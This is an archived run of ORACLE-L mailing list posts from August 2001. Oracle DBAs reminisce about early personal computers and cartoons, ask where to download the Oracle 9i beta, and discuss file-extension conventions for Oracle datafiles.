list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Boivin, Patrice J INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
-Okay, who remembers Fractured Fairy Tales and the Professor and his -boy Sherman? On black and white TV!! :( -Original Message- Sent: Thursday, August 02, 2001 1:12 PM To: Multiple recipients of list ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
the number of licks top get to the center of a tootsiepop. joe [EMAIL PROTECTED] 08/02/01 10:15AM I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.For those not in the US, it's from an old TV commercial.I started playing on Commodore-64's in high school in 1982.I've still got some of those Verbatim 5.25 disks in the closet at home. What is the language that uses a turtle for teaching children about computers? What language was it based on? --Please see the official ORACLE-L FAQ: http://www.orafaq.com--Author: Anderson, Brian INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).
RE: Oracle Beta
Sure, but I didnn't really find anything. I guess my company is part of the beta test crap thing, so Oracle sent us an email with a link to the site on it. Had to get a seperate username and password though, mine wouldn't work. Think I should have just waited for the damn cd's to arrive, because these are some huge files. KK -Original Message- Sent: Thursday, August 02, 2001 12:51 PM To: Multiple recipients of list ORACLE-L Could you please share, what you found? Igor Neyman, OCP DBA Perceptron, Inc. (734)414-4627 [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
That ran the same time a bullwinkle. How about Fess Parker as Davy Crocket. Or Red Skelton's show with Freddy the freeloader? ROR mô¿ôm [EMAIL PROTECTED] 08/02/01 02:11PM Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ron Rogers INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
The cartridge that came with the 2600 was COMBAT. It had a tank game and a biplane game. If they added another cartridge, it must have been in the later years. And the whole package cost $150 Now I remember... 1) Who started Atari, what else did he start? 2) What Graphical computer preceeded the Mac? Lisa, thats easy. I remember seeing a demo of it. I was totally amazed. Everyone was drooling over it. It was big and expensive, and then the Mac came out and they were selling like crazy. Everyone had one except for me. CP/M Control Program for Microcomputers - It was the first big OS. 2.5 What was the first Big Time Word processor that eventually lost out to Word? WordPerfect. Not sure they lost out. I believe it was a mix of they didnt push there Windows version like MS, and then of course, the MS marketing machine. They were another company that had 90%+ of the market and thought they were the king, untoucable and arrogant then along came MS with Word. Its been the same story over and over with every company that has gone up against MS. And Palm/Handspring is next... 3) What company made the first Portable (luggable) computers? Oh I cant think of the name. But the metal case was sort of a greyish blue, and it had a lid which was the keyboard. And it had a little monochrome monitor, and I believe it was 5 1/4 floppy drive. The first MAC (128K, 400K floppy) had no handle, I had one(still have it) 4) What was Special about the inside of the Mac case? It has the signatures of all the creators. 5) Who wrote QDOS? sigh, I agree, the good ol' daze [EMAIL PROTECTED] 08/02/01 06:57AM On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter crayon: -Was CP/M the OS that Bill Gates bought just before making his big deal with -IBM? Can't remember. - -Regards, -Patrice Boivin -Systems Analyst (Oracle Certified DBA) - - -Original Message- - CP/M [or is it CPM i've seen it written both ways.] - - AFAIK, no. it was an OS from a small local company called QDOS [Quick and Dirty Operating System] if i'm not suffering from too much bit rot. CP/M was the other OS in contention. -- Bill Thater ORACLE DBA Telergy,Inc. [EMAIL PROTECTED] It's got to come from the heart if you want it to work! IBM: Into Building Money -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Thater, William INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Arich Henneman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Grabowy, Chris INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Mr. Peabody and Sherman? Of course. I was into Creepy Crawlers and Vac-U-Form back then but I'll bet you were more into Incredible Edibles or Fun Flowers. Cheers -Original Message- Sent: Thursday, August 02, 2001 2:12 PM To: Multiple recipients of list ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). * * * * * Freedom of Information Act Notice * * * * * The information in this email is subject to the record protection mandated by 5 United States Code 552(b)(4) and relevant judicial opinions. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Sherman, Edward INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: using ora dbf as datafile extensions
good point! i just changed my redo and control files to the .dbf extension. luckily, my datafiles were already .dbf. [EMAIL PROTECTED] 07/31/01 07:30AM I do not use the CTL extension for database control files as it is used by sql*loader control files. I'm using dbf for all data files including data, indexes, temp or rbs. The naming of the files shows what the file contains. I do not think different extensions could lead to problem but I would change it so the naming is consistent across all databases. Have a look at Bill Burke's document Putting OFA on Steroids at www.oracleguru.com HTH --- O'Neill, Sean [EMAIL PROTECTED] a écrit : Saurabh, My views are that I tend to use datafile extentions to reflect the type of tablesapces I use in the file or the file type: For example: .DBF for datafile .RBS for Rollback .ARC for Archived redo logs (can confuse Winzip utility on Windoze) .RDO for Online Redo .CTL for control file In terms of conversion or upgrades they should not matter AFAIK as physical and logical storage are separate in Oracle. Sean :) Rookie Data Base Administrator Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K [0%] OCP Oracle8i DBA [0%] OCP Oracle9i DBA Organon (Ireland) Ltd. E-mail: [EMAIL PROTECTED] [subscribed: Digest Mode] Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA Nobody loves me but my mother... and she could be jivin' too. - BB King From: Saurabh Sharma [EMAIL PROTECTED] Date: Tue, 31 Jul 2001 12:44:03 +0530 Subject: using ora dbf as datafile extensions.. hi all, is there any problems using different filetypes for various datafiles in = the same database. i mean using some files as .dbf extension while some as .ora i'm using system, rbs, temp, oemrep as .dbf, while the one i creted = later are using .ora extension. does it cause any problem in conversion or upgradation. any views. Saurabh Sharma -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: O'Neill, Sean INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). = Stéphane Paquette DBA Oracle, consultant entrepôt de données Oracle DBA, datawarehouse consultant [EMAIL PROTECTED] ___ Do You Yahoo!? -- Vos albums photos en ligne, Yahoo! Photos : http://fr.photos.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?paquette=20stephane?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Oracle Beta
I checked OTN and they have a download for 9i on NT but its the Lite version. Ken Janusz, CPIM to be quite honest I can't be sure what it is. When I hit the link in the email it opens up, but before I hit it I have to be logged on as a user with privelages to get to it. I am pretty sure that if you just go to OTN there is a link for a sun download? KK -Original Message- Dandekar Sent: Thursday, August 02, 2001 1:11 PM To: Multiple recipients of list ORACLE-L What is it? I mean the URL to 9i Beta for Windows. No Sun of Mine (no test sun machine available right now..) -Rahul - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rahul Dandekar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Oh, I remember reminiscing ! I was all set to become a vetinary surgeon when I met a Commodore Pet, running rat trap and was hooked. That was 25 years ago. (sounds of sobbing and tears hitting the keyboard) Steve Parker Technical Consultant LIS -- Logistics Internet Systems Ltd. -- Thater, William To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] ThaterW@telecc: rgy.net Subject: RE: OT -- suggestions to ensure nerdiness in potential IT Sent by: staff root@fatcity. com 02/08/2001 16:01 Please respond to ORACLE-L On Thu, 2 Aug 2001,Rachel Carmichael scribbled on the wall in glitter crayon: -we called that 52 card pickup -- take deck, throw in air, run like the devil -was after us. - -I learned EARLY to draw intricate designs on the top of the deck so as to -make putting it back together simpler. - -When projects were due, I'd cut every class but the computer ones, and stay -in the computer center until midnight,when they closed. Oh the good old -days! i was one of those geeks who could put object decks back in order by hand.; -) i still have several boxes of card decks. the kids like them for bookmarks. -- Bill Thater ORACLE DBA Telergy,Inc. [EMAIL PROTECTED] It's got to come from the heart if you want it to work! If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside. - Robert X. Cringely -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Thater, William INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Yes! Mr. Peabody, Boris and Natasha... who could forget them... -Original Message- Sent: Thursday, August 02, 2001 11:12 AM To: Multiple recipients of list ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). Confidential This e-mail and any files transmitted with it are the property of Belkin Components and/or its affiliates, are confidential, and are intended solely for the use of the individual or entity to whom this e-mail is addressed. If you are not one of the named recipients or otherwise have reason to believe that you have received this e-mail in error, please notify the sender and delete this message immediately from your computer. Any other use, retention, dissemination, forwarding, printing or copying of this e-mail is strictly prohibited. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kathy Duret INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
Got it all Michael . some day I have to go read the thread from begining to end -Original Message- Sent: Thursday, August 02, 2001 2:10 PM To: Multiple recipients of list ORACLE-L I sure hope somebody is capturing this thread! This is a history of computing as seen by the people in the trenches! Now... 3) What company made the first Portable (luggable) computers? It was either Kaypro or Osborne. The Ozzy had a little tiny 40-column screen and dual 5.25 floppies. The Kaypro had an 80-column screen and dual floppies. If I remember correctly, Microsoft bought QDOS from Seattle Computer Works for around $50k so they could have an O/S for IBM's first PC. I cannot remember the name of the guy who owned CP/M, but they would not sign IBM's non-disclosure agreement, and sent IBM to Gates. MS had nothing to lose so they signed and the rest is history. --- === Michael P. Vergara | Don't worry about the world ending today; Oracle DBA | it's already tomorrow in Australia. Guidant Corporation | - Charles Schulz -Original Message- Sent: Thursday, August 02, 2001 10:41 AM To: Multiple recipients of list ORACLE-L The cartridge that came with the 2600 was COMBAT. It had a tank game and a biplane game. If they added another cartridge, it must have been in the later years. And the whole package cost $150 Now I remember... 1) Who started Atari, what else did he start? 2) What Graphical computer preceeded the Mac? Lisa, thats easy. I remember seeing a demo of it. I was totally amazed. Everyone was drooling over it. It was big and expensive, and then the Mac came out and they were selling like crazy. Everyone had one except for me. CP/M Control Program for Microcomputers - It was the first big OS. 2.5 What was the first Big Time Word processor that eventually lost out to Word? WordPerfect. Not sure they lost out. I believe it was a mix of they didnt push there Windows version like MS, and then of 